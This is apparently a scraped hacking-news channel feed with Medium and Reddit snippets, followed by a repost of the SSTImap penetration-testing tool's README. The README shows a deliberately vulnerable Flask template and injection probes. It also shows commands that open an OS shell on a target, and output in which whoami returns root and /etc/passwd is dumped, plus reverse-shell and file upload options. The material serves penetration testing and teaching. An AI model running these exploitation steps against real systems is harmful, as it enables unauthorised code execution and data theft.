Hacking Articles Tips Tricks Videos Tutorials
468 subscribers
65.9K photos
15 videos
157 files
132K links
Exploit
Pentesting
Hacking
Red Team
Blue Team
Kali Linux
Bug Bounty
Black Hat
Cyber security etc

@Hacking_Video
@Hacking_attack
Download Telegram
Hacking Articles Tips Tricks Videos Tutorials
Photo
Hacking on Medium
TryHackMe DNS In Detail Walkthrough

https://cdn-images-1.medium.com/max/663/1*ZlvtJsY2sqIjIx2k-2WMFA.png
One of the rooms found in the Pre Security ==>> How The Web Works path is DNS in Detail in which Learn how DNS works and how it helps you…

Continue reading on InfoSec Write-ups »
Hacking Articles Tips Tricks Videos Tutorials
Photo
Hacking on Medium
Stay Ahead of the Curve: The Top Cybersecurity Skills in Demand for 2023

Cybersecurity is an ever-evolving field, and staying ahead of the curve is essential for professionals in this field. As we move into 2023…

Continue reading on Medium »
Security jobs for junior positions
https://www.reddit.com/r/redteamsec/comments/10naw90/security_jobs_for_junior_positions/

<!-- SC_OFF -->Hi everybody, I'm trying to find some open roles in security positions. I'm not starting from the scratch, I will get a master degree in cybersecurity in 3 months, I've experience with coding, open source on Github, bug bounty, CTFs, 2 CVEs, eJPT... The problem is that 99% of the roles companies are looking for are for highly skilled / experienced people (senior, staff, VC, manager etc..). Where I can find junior positions? Are there companies looking for those roles? Thanks. ​ (advices from experts are welcome :-) ) <!-- SC_ON --> submitted by /u/edoardottt (https://www.reddit.com/user/edoardottt)
[link] (https://www.reddit.com/r/redteamsec/comments/10naw90/security_jobs_for_junior_positions/) [comments] (https://www.reddit.com/r/redteamsec/comments/10naw90/security_jobs_for_junior_positions/)
Ödül Avcılığı — 403 Forbidden Bypass

Merhaba arkadaşlar , bu yazımızda 403 kısıtlamasını aşmak için ne tür teknikler uygulayabiliriz ? Ve 403bypass aracını kullanarak hızlı…Continue reading on Medium »
Read more...
Dark Reading: Attacks/Breaches
Enterprises Don't Know What to Buy for Responsible AI

Organizations are struggling to procure appropriate technical tools to address responsible AI, such as consistent bias detection in AI applications.
Hide Evidences in Hacked System

IntroductionContinue reading on Medium »
Read more...
Securing your Infrastructure using Crowdsourced Security

Bug Bounty hunting is a crowdsourced cyber security model that helps companies utilize the power of the crowd to secure their…Continue reading on Shahmeer Amir »
Read more...
Hacking Articles Tips Tricks Videos Tutorials
Photo
Deep Web
I’m a newbie

I tried to download tor for my windows 11 and my settings didn’t allow it, probably cos it’s not a trusted file ect. Could someone point me in the right direction ?

submitted by /u/Fogholadebitch
[link] [comments]
Bug Bounty hunting is a crowdsourced cyber security model that helps companies utilize the power of the crowd to secure their…Continue reading on Shahmeer Amir » (https://shahmeeramir.com/securing-your-infrastructure-using-crowdsourced-security-bbb8b062c64f?source=rss------bug_bounty-5)
  SSTImap is a penetration testing (https://www.kitploit.com/search/label/Penetration%20Testing) software that can check websites for Code Injection and Server-Side Template Injection vulnerabilities (https://www.kitploit.com/search/label/vulnerabilities) and exploit them, giving access to the operating system itself. This tool was developed to be used as an interactive penetration testing tool for SSTI detection and exploitation, which allows more advanced exploitation. Sandbox break-out techniques came from: James Kett's Server-Side Template Injection: RCE For The Modern Web App (http://blog.portswigger.net/2015/08/server-side-template-injection.html) Other public researches [1] (https://artsploit.blogspot.co.uk/2016/08/pprce2.html) [2] (https://opsecx.com/index.php/2016/07/03/server-side-template-injection-in-tornado/) Contributions to Tplmap [3] (https://github.com/epinna/tplmap/issues/9) [4] (http://disse.cting.org/2016/08/02/2016-08-02-sandbox-break-out-nunjucks-template-engine). This tool is capable of exploiting some code context escapes and blind injection scenarios. It also supports eval()-like code injections in Python, Ruby, PHP, Java and generic unsandboxed template engines.
Differences with Tplmap Even though this software is based on Tplmap's code, backwards compatibility is not provided. Interactive mode (-i) allowing for easier exploitation (https://www.kitploit.com/search/label/Exploitation) and detection Base language eval()-like shell (-x) or single command (-X) execution Added new payload for Smarty without enabled {php}{/php}. Old payload is available as Smarty_unsecure. User-Agent can be randomly selected from a list of desktop browser agents using -A SSL verification can now be enabled using -V Short versions added to all arguments Some old command line (https://www.kitploit.com/search/label/Command%20Line) arguments were changed, check -h for help Code is changed to use newer python features Burp Suite extension temporarily removed, as Jython doesn't support Python3 Server-Side Template Injection This is an example of a simple website written in Python using Flask (http://flask.pocoo.org/) framework and Jinja2 (http://jinja.pocoo.org/) template engine. It integrates user-supplied variable name in an unsafe way, as it is concatenated to the template string before rendering. \n" \ "OS type: {{os}}" return render_template_string(template, os=os.name) if __name__ == "__main__": app.run(host='0.0.0.0', port=80)" dir="auto">from flask import Flask, request, render_template_string
import os

app = Flask(__name__)

@app.route("/page")
def page():
name = request.args.get('name', 'World')
# SSTI VULNERABILITY:
template = f"Hello, {name}!\n" \
"OS type: {{os}}"
return render_template_string(template, os=os.name)

if __name__ == "__main__":
app.run(host='0.0.0.0', port=80) Not only this way of using templates creates XSS vulnerability, but it also allows the attacker to inject template code, that will be executed on the server, leading to SSTI. $ curl -g 'https://www.target.com/page?name=John'
Hello John!
OS type: posix
$ curl -g 'https://www.target.com/page?name={{7*7}}'
Hello 49!
OS type: posix
User-supplied input should be introduced in a safe way through rendering context: \n" \ "OS type: {{os}}" return render_template_string(template, name=name, os=os.name) if __name__ == "__main__": app.run(host='0.0.0.0', port=80)" dir="auto">from flask import Flask, request, render_template_string
import os

app = Flask(__name__)

@app.route("/page")
def page():
name = request.args.get('name', 'World')
template = "Hello, {{name}}!\n" \
"OS type: {{os}}"
return render_template_string(template, name=name, os=os.name)

if __name__ == "__main__":
app.run(host='0.0.0.0', port=80) Predetermined mode SSTImap in predetermined mode is very similar to Tplmap. It is capable of detecting and exploiting SSTI vulnerabilities in multiple different templates. After the exploitation, SSTImap can provide access to code evaluation, OS command execution and file system manipulations. To check the URL, you can use -u argument: $ ./sstimap.py -u https://example.com/page?name=John

╔══════╦══════╦═══════╗ ▀█▀
║ ╔════╣ ╔════╩══╗ ╔══╝═╗▀╔═
║ ╚════╣ ╚════╗ ║ ║ ║{║ _ __ ___ __ _ _ __
╚════╗ ╠════╗ ║ ║ ║ ║*║ | '_ ` _ \ / _` | '_ \
╔════╝ ╠════╝ ║ ║ ║ ║}║ | | | | | | (_| | |_) |
╚═════════════╝ ╚═╝ ╚╦╝ |_| |_| |_|\__,_| .__/
│ | |
|_|
[*] Version: 1.0
[*] Author: @vladko312
[*] Based on Tplmap
[!] LEGAL DISCLAIMER: Usage of SSTImap for attacking targets without prior mutual consent is illegal.
It is the end user's responsibility to obey all applicable local, state and federal laws.
Developers assume no liability and are not responsible for any misuse or damage caused by this program


[*] Testing if GET parameter 'name' is injectable
[*] Smarty plugin is testing rendering with tag '*'
...
[*] Jinja2 plugin is testing rendering with tag '{{*}}'
[+] Jinja2 plugin has confirmed injection with tag '{{*}}'
[+] SSTImap identified the following injection point:

GET parameter: name
Engine: Jinja2
Injecti on: {{*}}
Context: text
OS: posix-linux
Technique: render
Capabilities:

Shell command execution: ok
Bind and reverse shell: ok
File write: ok
File read: ok
Code evaluation: ok, python code

[+] Rerun SSTImap providing one of the following options:
--os-shell Prompt for an interactive operating system shell
--os-cmd Execute an operating system command.
--eval-shell Prompt for an interactive shell on the template engine base language.
--eval-cmd Evaluate code in the template engine base language.
--tpl-shell Prompt for an interactive shell on the template engine.
--tpl-cmd Inject code in the template engine.
--bind-shell PORT Connect to a shell bind to a target port
--reverse-shell HOST PORT Send a shell back to the attacker's port
--upload LOCAL REMOTE Upload files to the server
--download REMOTE LOCAL Download remote files
Use --os-shell option to launch a pseudo-terminal on the target. $ ./sstimap.py -u https://example.com/page?name=John --os-shell

╔══════╦══════╦═══════╗ ▀█▀
║ ╔════╣ ╔════╩══╗ ╔══╝═╗▀╔═
║ ╚════╣ ╚════╗ ║ ║ ║{║ _ __ ___ __ _ _ __
╚════╗ ╠════╗ ║ ║ ║ ║*║ | '_ ` _ \ / _` | '_ \
╔════╝ ╠════╝ ║ ║ ║ ║}║ | | | | | | (_| | |_) |
╚══════╩══════╝ ╚═╝ ╚╦╝ |_| |_| |_|\__,_| .__/
│ | |
|_|
[*] Version: 0.6#dev
[*] Author: @vladko312
[*] Based on Tplmap
[!] LEGAL DISCLAIMER: Usage of SSTImap for attacking targets without prior mutual consent is illegal.
It is the end user's responsibility to obey all applicable local, state and federal laws.
Developers assume no liability and are not responsible for any misuse or damage caused by this program


[*] Testing if GET parameter 'name' is injectable
[*] Smarty plugin is testing rendering with tag '*'
...
[*] Jinja2 plugin is testing rendering with tag '{{*}}'
[+] Jinja2 plugin has confirmed injection with tag '{{*}}'
[+] SSTImap identified the following injection point:

GET parameter: name
Engine: Jinja2 Injection: {{*}}
Context: text
OS: posix-linux
Technique: render
Capabilities:

Shell command execution: ok
Bind and reverse shell: ok
File write: ok
File read: ok
Code evaluation: ok, python code
[+] Run commands on the operating system.
posix-linux $ whoami
root
posix-linux $ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
To get a full list of options, use --help argument. Interactive mode In interactive mode, commands are used to interact with SSTImap. To enter interactive mode, you can use -i argument. All other arguments, except for the ones regarding exploitation payloads, will be used as initial values for settings. Some commands are used to alter settings between test runs. To run a test, target URL must be supplied via initial -u argument or url command. After that, you can use run command to check URL for SSTI. If SSTI was found, commands can be used to start the exploitation. You can get the same exploitation capabilities, as in the predetermined mode, but you can use Ctrl+C to abort them without stopping a program. By the way, test results are valid until target url is changed, so you can easily switch between exploitation methods without running detection test every time. To get a full list of interactive commands, use command help in interactive mode. Supported template engines SSTImap supports multiple template engines and eval()-like injections. New payloads are welcome in PRs. Engine RCE Blind Code evaluation File read File write Mako ✓ ✓ Python ✓ ✓ Jinja2 ✓ ✓ Python ✓ ✓ Python (code eval) ✓ ✓ Python ✓ ✓ Tornado ✓ ✓ Python ✓ ✓ Nunjucks ✓ ✓ JavaScript ✓ ✓ Pug ✓ ✓ JavaScript ✓ ✓ doT ✓ ✓ JavaScript ✓ ✓ Marko ✓ ✓ JavaScript ✓ ✓ JavaScript (code eval) ✓ ✓ JavaScript ✓ ✓ Dust (<= dustjs-helpers@1.5.0) ✓ ✓ JavaScript ✓ ✓ EJS ✓ ✓ JavaScript ✓ ✓ Ruby (code eval) ✓ ✓ Ruby ✓ ✓ Slim ✓ ✓ Ruby ✓ ✓ ERB ✓ ✓ Ruby ✓ ✓ Smarty (unsecured) ✓ ✓ PHP ✓ ✓ Smarty (secured) ✓ ✓ PHP ✓ ✓ PHP (code eval) ✓ ✓ PHP ✓ ✓ Twig (<=1.19) ✓ ✓ PHP ✓ ✓ Freemarker ✓ ✓ Java ✓ ✓ Velocity ✓ ✓ Java ✓ ✓ Twig (>1.19) × × × × × Dust (> dustjs-helpers@1.5.0) × × × × × Burp Suite Plugin Currently, Burp Suite only works with Jython as a way to execute python2. Python3 functionality is not provided. Future plans If you plan to contribute something big from this list, inform me to avoid working on the same thing as me or other contributors. Make template and base language evaluation functionality more uniform Add more payloads for different engines Short arguments as interactive commands? Automatic languages and engines import Engine plugins as objects of Plugin class? JSON/plaintext API modes for scripting integrations? Argument to remove escape codes? Spider/crawler automation Better integration for Python scripts More POST data types support Payload processing scripts

Download SSTImap (https://github.com/vladko312/SSTImap)